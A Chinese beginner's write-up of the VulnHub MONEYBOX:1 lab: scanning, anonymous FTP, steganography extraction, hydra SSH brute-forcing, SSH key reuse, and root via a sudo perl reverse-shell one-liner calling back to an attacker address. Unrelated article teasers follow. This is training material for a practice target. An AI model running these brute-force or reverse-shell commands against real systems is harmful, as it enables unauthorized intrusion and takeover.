【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

news2024/11/30 14:36:53

MONEYBOX:1

安装靶机

作为一名新手,首先要配置好环境,才能进行下一步的操作。
在这里插入图片描述

将下载的ova文件导入VirtualBox。
VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html

在这里插入图片描述

选择你下载的ova文件,点击“下一步”。

在这里插入图片描述

选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)

在这里插入图片描述
启动虚拟机。

在这里插入图片描述

可能会出现如下错误信息。

在这里插入图片描述

解决方法:
在网络设置中,选择自己电脑的网卡,重新启动就可以了。

在这里插入图片描述

这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。

在这里插入图片描述


IP探测

首先获取一下kali的网卡信息。

ifconfig

在这里插入图片描述

目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。

nmap 192.168.3.0/24 

参数含义:
nmap:网络探索和安全扫描工具。
192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 到 192.168.3.254 的所有 IP 地址。

在这里插入图片描述

也可以通过arp扫描,获得目标靶机IP。

arp-scan -I eth0 -l

在这里插入图片描述

经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。

在这里插入图片描述

使用nmap对192.168.3.27做更详细的探测,发现(自上而下):
1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;
2、22端口ssh服务有一些key;
3、80端口http服务存在一个网页Title:MoneyBox。

nmap -A 192.168.3.27
参数含义:
-A:Aggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:
-sS(TCP SYN 扫描)
-sU(UDP 扫描)
-sT(TCP connect() 扫描)
-sV(服务版本探测)
-sC(默认脚本扫描)
OS detection(操作系统检测)

或者

nmap -p21 -sC 172.16.95.137
nmap -p22 -sC 172.16.95.137
nmap -p80 -sC 172.16.95.137

参数含义:
-p: 指定要扫描的端口号或端口范围。
-sC: 执行默认的 NSE 脚本集合。

在这里插入图片描述


FTP服务探测

既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。

FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass

在这里插入图片描述

登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。

ftp 192.168.3.27
ls
get trytofind.jpg
exit

下载到的图片:

在这里插入图片描述

图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。

steghide info trytofind.jpg

Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。

在这里插入图片描述

HTTP服务探测

直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。

在这里插入图片描述

查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。

安装命令
apt install dirsearch

dirsearch -u http://192.168.3.27/
作用:对指定的 URL(http://192.168.3.27/)进行目录和文件枚举。

以下是一些可能的命令参数:
-u:指定要扫描的 URL。
-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。
-f(可选):从文件中读取要搜索的单词列表。
-t(可选):指定线程数,默认为 10。
-w(可选):指定单词列表文件。

在这里插入图片描述

发现一个新页面blogs,在浏览器中看一下。
提示:我是 TOm-H4ck3r
我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置
如果您需要下一步的提示…?

在这里插入图片描述

查看网页源代码,发现下一步的提示。
提示:<!–提示是另一个秘密目录是 S3cr3t-T3xt–>。

在这里插入图片描述

根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/。
新的提示:本页无内容…

在这里插入图片描述

查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)

在这里插入图片描述

使用得到的密码,成功读取到一个data.txt文件。

在这里插入图片描述

使用steghide提取data.txt文件,查看得到新提示。

steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4 

命令参数解释如下:
extract: 指定要执行的操作为提取隐藏数据。
-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。
-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。

提示:你好… renu(用户名)
我告诉你一件重要的事情:你的密码太短了,所以请更改密码
不要小看它…

在这里插入图片描述


SSH服务探测

结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。

hydra -l renu -P rockyou.txt 192.168.3.27 ssh

参数解释:
-l:指定用户名,本例中为 "renu"-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。
192.168.3.27:目标 IP 地址。
ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。

在这里插入图片描述

得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。

ssh renu@192.168.3.27

在这里插入图片描述

renu用户登录

ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。

ls
pwd
uname -a (显示系统详细信息)
uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)
sudo su 
cat user1.txt

在这里插入图片描述

接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。

history #history命令用于显示或保存用户的命令历史记录

ssh-keygen -t rsa
# 生成RSA类型的SSH密钥。
ssh-copy-id lily@192.168.43.80
# 将公钥复制到远程服务器上,以便进行无密码SSH登录。
chmod 400 id_rsa
# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。
ssh -i id_rsa lily@192.168.43.80
# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

在这里插入图片描述

看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。

在这里插入图片描述

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。

在这里插入图片描述

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验证一下。

在这里插入图片描述

完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。

尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。

在这里插入图片描述


lily用户登录

ssh -i id_rsa lily@192.168.3.27
 -i 选项,用于指定私钥文件 id_rsa。

在这里插入图片描述

成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。

在这里插入图片描述

尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。

在这里插入图片描述
在这里插入图片描述

使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。

sudo -l 
# 查看当前用户可用的sudo权限

在这里插入图片描述

既然可以使用perl命令,那么采用反弹shell的方法提升权限。


反弹Shell提权

首先,在kali上开启nc进行监听。

nc -lnvp 6666
# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。

命令参数解释如下:
-l: 使Netcat进入监听模式,等待连接请求。
-n: 指定不进行DNS解析,使用IP地址而非主机名。
-v: 启用详细模式,显示更多的操作信息。
-p: 指定要监听的端口号,这里为6666。

在这里插入图片描述

然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)

sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
当执行此命令时,以下过程会发生:
1、使用 sudo 提升权限执行 Perl 命令。
2、在 Perl 中,定义了以下几个变量:
	$i="192.168.3.25":目标 IP 地址。
	$p=6666:目标端口号。
3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。
4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。
5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

在这里插入图片描述

最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1348185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#编程-编写和执行C#程序

编写和执行C#程序 可以使用Windows记事本应用程序来编写C#程序。在记事本应用程序中创建C#程序后,您需要编译并执行该程序以获得所需的输出。编译器将程序的源代码转换为机器代码,这样计算机就能理解程序中的指令了。 注释 除了记事本,您还可以使用任何其他文本编辑器来编写…

Altium Designer20中遇到的问题和解决办法记录

最近二战考完研了&#xff0c;重新拾起之前学的一些项目&#xff0c;最近在优化以前话的四层PCB版的时候发现了在使用AD使碰到一些问题现在记录如下&#xff1a; 1.Altium Designer 中的 Clearance Constraint 错误如何修改 &#xff1a; 我遇到的报错如下&#xff1a;  这…

Django 后台与便签

1. 什么是后台管理 后台管理是网页管理员利用网页的后台程序管理和更新网站上网页的内容。各网站里网页内容更新就是通过网站管理员通过后台管理更新的。 2. 创建超级用户 1. python .\manage.py createsuperuser 2. 输入账号密码等信息 Username (leave blank to use syl…

【图像拼接】源码精读:Seam-guided local alignment and stitching for large parallax images

第一次来请先看这篇文章&#xff1a;【图像拼接&#xff08;Image Stitching&#xff09;】关于【图像拼接论文源码精读】专栏的相关说明&#xff0c;包含专栏内文章结构说明、源码阅读顺序、培养代码能力、如何创新等&#xff08;不定期更新&#xff09; 【图像拼接论文源码精…

fmincon函数的决策变量可以是二维矩阵,但不建议是高维矩阵

1&#xff09;二维矩阵代码 clear all clc% 定义目标函数 fun (x) sum(sum(x.^2));% 初始矩阵 x0 2 rand(2, 2);% 定义空的线性不等式约束 A []; b [];% 定义空的线性等式约束 Aeq []; beq [];% 定义变量的上下界 lb ones(2,2); ub [];% 使用 fmincon 求解 options …

YOLOv8主干改进 更换柱状神经网络RevCol

一、Reversible Column Networks论文 论文地址:2212.11696.pdf (arxiv.org) 二、Reversible Column Networks结构 Reversible Column Networks 是一种用于量子计算的新型结构。它由一系列可逆操作组成,可以在量子计算中进行高效的信息传递和处理,具有可扩展性、灵活性、…

编程式导航传参

(通过js代码实现跳转) 按照path进行跳转 第一步&#xff1a; 在app.vue中(前提是规则已经配置好) <template><div id"app">App组件<button clicklogin>跳转</button><!--路由出口-将来匹配的组件渲染地方--><router-view>&l…

LeetCode994腐烂的橘子(相关话题:矩阵dfs和bfs)

题目描述 在给定的 m x n 网格 grid 中&#xff0c;每个单元格可以有以下三个值之一&#xff1a; 值 0 代表空单元格&#xff1b;值 1 代表新鲜橘子&#xff1b;值 2 代表腐烂的橘子。 每分钟&#xff0c;腐烂的橘子 周围 4 个方向上相邻 的新鲜橘子都会腐烂。 返回 直到单…

【Linux】Linux

Linux 文章目录 Linux1. 简介2. 目录结构3. vi/vim 的使用4. 网络配置4.1 配置网络ip地址4.2 配置主机名或ip映射4.3 远程登陆及上传下载 5. 系统管理5.1 service 服务管理&#xff08;CentOS 6 版本&#xff09;5.2 systemctl 服务管理&#xff08;CentOS 7 版本&#xff09;5…

计算机网络(6):应用层

每个应用层协议都是为了解决某一类应用问题&#xff0c;而问题的解决又往往是通过位于不同主机中的多个应用进程之间的通信和协同工作来完成的。 应用层的具体内容就是规定应用进程在通信时所遵循的协议。 应用层的许多协议都是基于客户服务器方式。即使是对等通信方式&#x…

【Linux学习笔记】解析Linux系统内核:架构、功能、工作原理和发展趋势

操作系统是一个用来和硬件打交道并为用户程序提供一个有限服务集的低级支撑软件。一个计算机系统是一个硬件和软件的共生体&#xff0c;它们互相依赖&#xff0c;不可分割。计算机的硬件&#xff0c;含有外围设备、处理器、内存、硬盘和其他的电子设备组成计算机的发动机。但是…

(13)Linux 进程的优先级、进程的切换以及环境变量等

前言&#xff1a;我们先讲解进程的优先级。然后讲解进程的切换&#xff0c;最后我们讲解环境变量&#xff0c;并且做一个 "让自己的可执行程序不带路径也能执行"的实践&#xff0c;讲解环境变量的到如何删除&#xff0c;最后再讲几个常见的环境变量。 一、进程优先级…

STL——vector容器

目录 1.vector基本概念 2.vector构造函数 3.vector赋值操作 4.vector容量和大小 5.vector插入和删除 6.vector数据存取 7.vector互换容器 8.vector预留空间 1.vector基本概念 功能&#xff1a;vector数据结构和数组非常相似&#xff0c;也称为单端数组。 vector与普通数…

内存泄漏检测工具

1. vs/vc(windows下)自带的检测工具 将下面的语句加到需要调试的代码中 #define _CRTDBG_MAP_ALLOC // 像一个开关,去开启一些功能,这个必须放在最上面 #include <stdlib.h> #include <crtdbg.h>// 接管new操作符 原理: 就是使用新定义的DBG_NEW去替换代码中的n…

开始使用MEVN技术栈开发02 MongoDB介绍

开始使用MEVN技术栈开发02 MongoDB介绍 MongoDB介绍 As indicated by the ‘ M ’ in MEVN, we will use MongoDB as the backend database for our app. MongoDB is a NoSQL database. Before we talk about what is a NoSQL database, let ’ s first talk about relationa…

github使用技巧(经验篇)

相关经验 指定代码范围并高亮显示 例如&#xff0c;指定nn_ops.py文件2612-L2686行的代码&#xff1a;https://github.com/tensorflow/tensorflow/blob/v2.14.0/tensorflow/python/ops/nn_ops.py#L2612-L2686 FAQ Q&#xff1a;github网页打不开&#xff1f; 【github加载不…

MySQL例行检查

MySQL例行检查 1.实例例行检查1.1线程1.2索引1.3临时表1.4连接数1.5BINLOG1.6锁1.7WAIT事件1.8MySQL状态 2.事务与锁例行检查2.1查看索引的cardinality2.2查看是否存在事务阻塞现象2.3查看事务执行时长以及执行的所有SQL2.4事务与锁 3.库表例行检查3.1查看缺失主键的表3.2冗余索…

【sql】MyBatis Plus中,sql报错LIKE “%?%“:

文章目录 一、报错详情&#xff1a;二、解决&#xff1a;三、扩展&#xff1a; 一、报错详情&#xff1a; 二、解决&#xff1a; 将LIKE “%”#{xxx}"%"改为LIKE CONCAT(‘%’, #{xxx}, ‘%’) 三、扩展&#xff1a; MyBatis Plus之like模糊查询中包含有特殊字符…

基于SpringBoot的校园二手闲置交易平台

基于SpringBoot的校园二手闲置交易平台的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatis工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 登录界面 管理员界面 摘要 本文基于Spring Boot框架设计并实现了一款…

尝试读取挪威 3d radar数据

1 原因 挪威的三维探地雷达很有特色&#xff0c;步进频率采样&#xff0c;与传统的GPR很不同&#xff0c;一个天线就拥有N个天线的功能。很想看看他们采集的数据是否清晰。 之前浙大学报审稿审到华南理工用的他们这个雷达。 图像来自知乎&#xff1a;若侵权&#xff0c;请告…